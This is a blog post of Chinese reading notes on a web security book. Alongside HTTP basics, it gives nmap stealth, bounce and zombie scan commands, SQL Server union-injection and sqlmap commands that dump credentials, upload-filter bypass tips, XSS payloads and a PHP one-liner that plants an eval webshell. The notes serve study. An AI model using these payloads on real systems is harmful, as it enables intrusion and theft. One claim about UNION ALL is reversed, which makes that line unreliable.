《Web安全深度剖析》笔记

Posted 爱吃熊的奶片

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《Web安全深度剖析》笔记相关的知识,希望对你有一定的参考价值。

《Web安全深度剖析》

第一篇 基础篇

第二章 深入HTTP请求流程

1.常见HTTP请求与响应格式

//请求头
GET /favicon.ico HTTP/1.1		//请求行
Host: www.baidu.com				//请求头
Cache-Control: no-cache			//缓存指令

//请求标头
Connection: keep-alive			//连接属性
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/93.0.4577.63 Safari/537.36		//客户端详细
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8		//请求标头内容类型
Referer: https://www.baidu.com/			//请求发起者
Accept-Encoding: gzip, deflate, br		//支持数据压缩格式
Accept-Language: zh-CN,zh;q=0.9			//支持语言
Cookie: BIDUPSID=ghjkhljo;

//响应头
HTTP/1.1 200 OK			//响应行
Accept-Ranges: bytes			//请求标志物
Content-Encoding: gzip			//数据压缩格式
Content-Length: 1966			//响应正文长度
Content-Type: image/x-icon		//响应正文长度
Date: Fri, 17 Sep 2021 04:00:06 GMT
Etag: "423e-5bd257db4e500"		//资源标识符
Last-Modified: Wed, 10 Mar 2021 02:33:24 GMT
Server: Apache

2.HTTP请求方法

1.Get
服务器选择性接受内容参数,发送数据有大小限制,没有请求内容
2.Post
有请求内容,发送数据无大小限制
3.Put
上传请求数据并要求服务器保存
4.Delete
删除服务器指定资源
5.Trace
回显请求,测试或诊断
6.Connect
动态切换隧道代理
7.Head
验证http的有效性、可访问性和最近改变,速度最快
8.Options
获取目的资源所支持的通信选项

3.HTTP状态码

1xx: 信息提示 100 – 101

2xx: 成功 200 – 206

3xx: 重定向 300 – 305

4xx: 错误 400 – 415

5xx: 服务器错误 500 --505

4.HTTP信息

  1. 请求头

    1. host

      指定被请求资源的主机和端口号

    2. User-Agent

      将操作系统、浏览器信息告诉服务器

    3. Referer

      访问该url的上一个url

    4. Range

      请求实体部分内容, 此请求头用于多线程

    5. Cookie

      请求者身份

    6. Accept

      指定客户端接受哪些MIME类型信息

    7. Accept - Charset

      指定客户端接受字符集

    8. x-forward-for

      请求IP, 可多个

  2. 响应头

    1. Server

      服务器端的Web服务器名

    2. Set - Cookie

      向客户端设置Cooike

    3. Last - Modified

      资源最后修改时间

    4. Location

      重定向, 常配合302状态码

    5. Refresh

      定时刷新浏览器

  3. 通用头

    通用头域包含请求和响应消息都支持的头域。对通用头域的扩展要求通讯双方都支持此扩展,如果存在不支持的通用头域,一般将会作为实体头域处理。

  4. 实体头

    请求和响应信息都可以传送一个实体头

    1. Content - Type

      Content - Type实体头用于接收方指示实体的介质类型

    2. Content - Encoding

      必须采取于Content - Encoding相同的编码机制

    3. Content - Length

      指示实体正文长度

    4. Last - Modified

      指示资源最后修改日期与时间

第三章 信息探测

1. Google语法

site  		  	指定域名

-site 		  	排除该域名

intext			正文内容存在关键字

intitle		    标题内容存在关键字

info		   	一些基本信息

inurl		 	URL存在关键字

filetype		搜索指定文件类型

2. Nmap

nmap简单扫描

root@kali:~# nmap 192.168.93.222
ORT     STATE SERVICE
7/tcp    open  echo
9/tcp    open  discard
......

多主机扫描命令:

root@kali:~# nmap 192.168.93.1-100
(扫描192.168.93.1-192.168.93.100之间的主机)

扫描该文件内IP地址:

root@kali:~# nmap -iL xxx.txt
(扫描xxx.txt文件内保存的IP地址列表)

扫描特定主机的指定端口:

root@kali:~# nmap -p 80, 192.168.93.222
PORT   STATE SERVICE
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

扫描技术分为: TCP SYN扫描, TCP Connect()扫描, TCP FIN扫描, UDP扫描, 认证扫描, FTP代理扫描…

半开放扫描 – TCP SYN SCAN(sS)
(不需要完整的握手,因此不会产生日志记录)

root@kali:~# nmap -sS 192.168.93.222

**全面的系统探测 **

root@kali:~# nmap -A -v 192.168.93.222

秘密扫描 – FIN SCAN(sF)
(完全不建立TCP连接,从而减少被日志记录. 但是因为有防火墙的存在目标主机可能存在IDS和IPS系统的存在)

root@kali:~# nmap -sF 192.168.93.222

UDP SCAN(sU)
(如果主机禁止响应ICMP协议,可给目标主机发送UDP数据包. 当端口关闭时, 返回ICMP不可达数据包,反之忽略这个数据包, 即丢弃而不返回任何信息. 此扫描针对UDP端口, 不需要发送SYN包)

root@kali:~# nmap -sU 192.168.93.222

认证扫描 --(不会,下一个)

FTP反弹攻击 – bounce attack(b)
(需连接防火墙后一台FTP服务器做代理,接着进行扫描,如果FTP服务器里有可读写的目录,你还可以对目标端口发送任意数据 后半段nmap不能帮你)
可用来渗透内网

root@kali:~# nmap -b username:password@server:port
(除了server之外都阔以选,)

空闲扫描 – IDLE SCAN(sL)
(僵尸主机扫描,推卸责任)

root@kali:~# nmap -p 端口号 -Pn(无ping命令) -sI 僵尸主机IP 目标主机IP 

防火墙穿透扫描 – (Pn)

root@kali:~# nmap -Pn -A 80,81 192.168.93.222

主机操作系统 – (o)

root@kali:~# nmap -p 80,81 192.168.93.222

使用脚本扫描-- (–script)

root@kali:~# nmap --script all 192.168.93.222
//使用全部脚本
root@kali:~# nmap -p 80 --script=sql-injection.nse 192.168.93.222
//sql注入扫描

第二篇 原理篇

第五章 SQL注入漏洞

OWASP 2008 - 2010年SQL注入漏洞连续保持第一

1.漏洞原理

源代码:
select count(*) from admin where username = 'admin' and password = 'password'
注入后:
select count(*) from admin where username = ''or 1 = 1--' and password = ''
可以发现 and password = '' 被注释掉了,无法生效

2.漏洞分类

常见分类为: 数字型和字符型

  1. 数字型注入

    输入参数为整型时, 如: ID、年龄等

    SQL语句:
    select * from table where id = 8
    

    测试步骤:

    尝试让语句报错,确认注入点
    select * from table where id = 8'
    
    让语句恢复正常,让返回数据与原始数据相同
    select * from table where id = 8 and 1 = 1
    
    逻辑判断
    select * from table where id = 8 and 1 = 2
    
  2. 字符型注入

    输入参数为字符串时, 如: 账户等

    字符型与数字型区别为: 字符型需要单引号闭合, 数字型不需要

    SQL语句:
    select * from table where username = 'admin' and password = 'password'
    

    测试:

    尝试闭合SQL语句
    select * from table where username = 'admin' and 1 = 1 --' and password = 'password'
    可以看见 and password = 'password' 被注释失效了
    

    还有一些其他的注入

    POST注入:注入字段在POST数据中
    
    Cookie注入:注入字段在cookie中
    
    延时注入:使用数据库延时函数判断注入
    
    搜索注入:注入处为搜索
    
    base64注入:注入字符经过base64加密
    

3.常见数据库注入

数据库有很多种, 常用的有SqlServer、mysql

在进行SQL注入时, 思路大多数都是相同的. 利用数据库错误回显的信息进行利用

1.SQL server

https://blog.csdn.net/weixin_44332119/article/details/120377686

Microsoft SQL 数据库函数有哪些? - SQL Server | Microsoft Docs

系统函数

select db_name():返回数据库名称
select suser_name():返回用户登入标识名
select user_name():返回指定的标识号, 数据库用户名

col_length():返回列的定义长度
col_name():返回数据库列名称,该列具有响应的表示符号和列标识号
object_id():返回数据库对象标识号

联合查询

union select
union  all select
区别 union  all select 会自动去除重复数据且按默认排序

敏感信息回显位判断

order by 3
union all select unll,2,unll,unll

爆库举例

用户登入名:
?id=2 and 1=2 union all select 1,(select suser_name()),'3',4
用户名:
?id=2 and 1=2 union all select 1,(select user_name()),'3',4
库名:
?id=2 and 1=2 union all select 1,(select db_name()),'3',4
表名:
?id=2 and 1=2 union all select 1,(select quotename(table_name) from information_schema.tables for xml path('')),'3',4
//for xml path函数主要是用于把多行查询结果变为一行显示
//quotename函数的作用是把每行查询结果用[ ]默认包裹起来
列名:
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
//sysobjects系统表
//col_name()数据库列名称
//object_id()指定名称的索引
表内容
?id=2 and 1=2 union all select 1,(select top 1 password from manage) from sysobjects),'3',4

2.MySQL

思路和SQL server一样

MySQL常用注释

# : 从'#'到行尾
-- :从 '--' 到行尾, 后面需要加一个或多个空格
/**/ :从 '/*' 到后面 '*/'中间的字符

select id/*!55555,username*/ from users
若 MySQL 版本号 ≥ 5.55.55 语句将执行 

信息回显位写法 SQL server 不一样, 其他差不多

order by 3 #
union all select 1,2,3,4

4.Sql Map

注入点判断:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2"
获取数据库:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --dbs
获取表:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --tables -D "库名"
// 获取数据库表 --tables
// 指定数据库 -D
获取列:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --columns -T “表名” -D "库名"
// 指定表名 -T
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --dump -C "username,password" -T “表名” -D "库名"
// 指定字段名称 -C
// 转存数据 --dump

5.SQL注入防御

  1. 严格的数据类型
  2. 使用预编译语句
  3. 使用安全性高的框架
  4. 特殊字符转义

第六篇 上传漏洞

找文件上传点, 上传伪装成正常文件的一句话木马

伪装姿势:

  1. 将一句话木马插入上传文件

  2. 抓包该文件名

    1.将content-type字段改为image/gif

    2.先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名

  3. 改 文件头,、文件后缀名

  4. 文件截断

  5. CMS、编辑器漏洞

第七篇 XSS跨站脚本漏洞

XSS主要类别: 反射型、存储型和DOM型

https://blog.csdn.net/weixin_44332119/article/details/120115905

原理 :

​ 通过构造HTML代码闭合, 照成XSS攻击

# 正常url: http://1.1.1.1/search=aaa
# 正常url: http://1.1.1.1/search=</h3><script>alert('xss');</script><h3>
<html>
    <head>
        <meta charset="UTF-8">
        <title>反射形xss</title>
    </head>
    <body>
        <form role="search" action="" method="GET">
                    <input type="text" name="search" placeholder="请输入要搜索的内容">
                    <button type="submit">搜索</button>
        </form>
        <h3>你搜索的结果内容是:</h3><script>alert('xss');</script><h3>
        //上行攻击代码出现处
        </h3>
    
    </body>
</html>

可能存在的利用点

  1. 输入数据的标签内部

    <div>${input}</div>
    
    <div><script>alert(/xss/)</script></div>
    
  2. 输入数据的属性内部

    <div class="${input}"></div>
    
    <div class=""><script>alert(/xss/)</script>"></div>
    <div class="" onclick="alert(/xss/)"></div>
    
  3. 输入的数据在事件中输出

    <img src="xx.jpg" onerror="${input}">
    
    <img src="xx.jpg" onerror=""><script>alert(/xss/)</script>">
    <img src="xx.jpg" onerror="" onclick="alert(/xss/)">
    
  4. 在CSS中输出

    <style type="text/css">
    body {background-img:url("${input}");}
    </style>
    
    body {background-img:url("javascript:alert('xss')");}
    
    
  5. 在 script 标签中输出

    <script>
    var usrname = "${input}"
    </script>
    
    var usrname = "1";alert(/xss/);//"此处的//为javascropt简称js的注释标记
    

第八篇 命令执行漏洞

1.OS命令执行

​ 可以直接执行系统层或应用层命令

​ 原因 : 命令可连接执行

​ 如 : https://blog.csdn.net/weixin_44332119/article/details/120157303

2.PHP代码执行

​ 可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()

3.Java命令执行

​ Java SE存在runtime类,提供exec方法以执行字符串命令

第九篇 文件包含

​ 如 : https://blog.csdn.net/weixin_44332119/article/details/120157303

​ 文件包含漏洞分为本地包含和远程包含, 常出现在PHP中

​ 本地包含 需要PHP开启 include() 、require()

​ 远程包含需要开启 远程包含选项(默认关闭)

利用方式

  1. 远程包含一句话

    新建一个shell.php,内容为php一句话木马内容

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[123]);?>")?>
    
  2. 包含Apache日志

    在日志文件 (access.log) 中, 会记录网站访问记录

    利用bp防止代码被转码, 将可执行的PHP代码写入日志文件中

  3. 利用PHP封装协议

    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    
    php:// — 可以用来读取php文件的内容,直接包含的话会执行PHP文件
    php://input在远程包含选项开启的情况下,可以用此协议执行PHP语句
    
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
    

以上是关于《Web安全深度剖析》笔记的主要内容,如果未能解决你的问题,请参考以下文章

web安全简介

Java_深度剖析ConcurrentHashMap

DDOS学习笔记(《破坏之王-DDOS攻击与防范深度剖析》)

java事务学习笔记--深度剖析JTA原理与实现

Kubernetes 安全权限管理深度剖析

libevent学习笔记(参考libevent深度剖析)